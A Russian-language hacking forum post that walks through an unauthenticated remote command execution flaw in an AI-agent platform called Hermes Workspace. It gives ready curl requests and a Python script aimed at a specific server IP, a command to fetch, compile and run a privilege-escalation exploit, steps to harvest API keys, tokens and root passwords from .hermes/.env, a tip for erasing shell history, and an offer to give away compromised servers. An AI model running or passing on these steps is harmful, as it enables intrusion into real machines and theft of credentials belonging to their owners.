LIMB
Вход Регистрация

тема

RCE Hermes Workspace (root) // Раздаю серверы/API ключи к различным сервисам

ec5745y · · 2 ответов · 193 просмотров

Hermes RCE
Делать нейросети нейросетями очень плохая идея.

Не удалось прогрузить медиа

​
Hermes это платформа, в которой можно подключить различные ИИ Агенты, с возможностью выдать им доступ к управлению внутренним или внешним серверам, к нему также без проблем можно подключить Telegram, cron, API и навыки различных ИИ, aws, azure, вебсервера, различные инструменты и тд.
Сейчас shodan насчитывает более 4.5к Гермесов, на данный момент из них уязвимо для RCE из этой статьи около 2/3. Половина сразу с root, в остальных же LPE можно получить через dirtyfrag.

Части статьи:
1.. RCE/PoC (Проблематика и shell)
2. LPE и работа с данными


RCE
Проблема состоит в том, что при инициализации установки будет открыт порт, зачастую это 3000 или 3001, который после самой установки закрыт не будет.
Этот установщик открывает API терминала, который ведёт к RCE, даже если доступ к панели Hermes под паролем (зависит от версии). Для доступа к терминалу нужно буквально два запроса curl.
Даже если главная страница вебсервера пишет о том, что установку необходимо завершить, запустив какие-то команды на сервере, уязвимость всё ещё будет работать.
Один из таких серверов я возьму для примера.


Спойлер: Скриншоты главной страницы пациента
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Для отправки команд в терминал, сперва необходимо его инициализировать и получить ID сессии терминала.
curl -X POST http://20.112.124.34:3080/api/terminal-stream -H "Content-Type: application/json"


Не удалось прогрузить медиа

Терминал был инициализирован, даже получили вывод из оболочки. Однако на этом этапе интересует лишь sessionId
data: {"sessionId":"5640d443-d4f9-4e9b-a048-6e4217af6812","reattach":false}

Сам http стрим на разных версиях может давать различные форматы ответа, но вы должны всегда увидеть sessionId

При помощи него, можно отправить команду на сервер, и получить её вывод в предыдущем http стриме из curl.
curl -X POST "http://20.112.124.34:3080/api/terminal-input" -H "Content-Type: application/json" -d '{"sessionId": "'"5640d443-d4f9-4e9b-a048-6e4217af6812"'", "data": "'"id; echo LIMB "'\r"}'

\r в конце задан, чтобы нажать "энтер" в терминале. Без него команды будут попросту прописаны в терминал



Не удалось прогрузить медиа



Нагляднее:
Первый запрос инициализации:
Code:
POST /api/terminal-stream HTTP/1.1
Host: 20.112.124.34:3080
Content-Type: application/json

Второй запрос ввода в терминал:
Code:
POST /api/terminal-input HTTP/1.1
Host: 20.112.124.34:3080
Content-Type: application/json

{"sessionId":"2bef0a36-e853-4420-a9d5-596577e0be24","data":" (id; echo hello)\r"}

В стриме будет много мусора и топорной даты, поэтому вот python скрипт, который будет выводить лишь полезные данные.
Python:
import requests
import json
import threading

HOST = "http://20.112.124.34:3080"
COMMAND = "id; kill -9 $$'"

response = requests.post(f"{HOST}/api/terminal-stream", headers={"Content-Type": "application/json"}, stream=True)

for line in response.iter_lines(decode_unicode=True):
    if line.startswith("data:"):
        data = json.loads(line[5:])
        if "sessionId" in data:
            session_id = data["sessionId"]
            print(f"{session_id}")
            threading.Thread(target=lambda: requests.post(f"{HOST}/api/terminal-input", headers={"Content-Type": "application/json"}, json={"sessionId": session_id, "data": COMMAND + "\r"}), daemon=True).start()
        if "data" in data:
            print(data["data"].strip())

Не удалось прогрузить медиа


LPE и работа с данными

Сервер который я показывал до этого шёл в комплекте с root, поэтому возьмем другой для примера.
Hermes хранит различные API в .env который расположен в .hermes/.env
Часто там может быть парольчик от root

Не удалось прогрузить медиа

Эммммм sudo не запросил пароля, хотя тот и так был. Ну вот ещё один способ получения RCE на нейрослоп серверах :)

Если же пароля не нашлось, вы можете использовать dirtyfrag, это LPE сплоит который будет работать в 90% случаев.

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Не удалось прогрузить медиа

Без вотермарки чтобы было видно. Мой C2 сразу пересоздал сессию на root, однако вы увидите root shell.

Если оба варианта не сработали, как и куча других LPE сплоитов, вы можете попытать удачу в нахождении кредов через слитые источники, о чём будет третья часть статьи.

API
для работы ИИ агент хранит ключи в .hermes/.env 
Для фильтрации от мусора используйте 
grep -E '^[^#].*=.{6,}' | sort -u

Не удалось прогрузить медиа


При большом колве машин, на выходе будут токены, учётки почти к любым сервисам: мессенджеры, ssh ключи, email, пароли от бд и куча API нейросетей.

На этом всё! Бонус - раздаю эти серверы в треде https://forum.LIMB.cc/threads/7707/


special for forum.LIMB.cc

ec5745y
​
👍9 🔥1 💯1
Чтоб не оставлять историю в терминале, в конце сессии пишите kill -9 $$
Если ты пришел за раздачей, пожалуйста, не пиши мне в лс

Раздача происходит в этом треде https://forum.LIMB.cc/threads/7707/
Возьми в моём профиле PGP ключ и ответь в теме по раздаче серверов. Внутри своего сообщения скинь bash скрипт для установки.
Если не знаешь как это сделать, спроси в той же теме с раздачей но без шифрования и я подробно расскажу как это сделать,  чтобы увидило как можно больше людей.
Мне некомфортно говорить об этом в лс, слишком много чатов
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.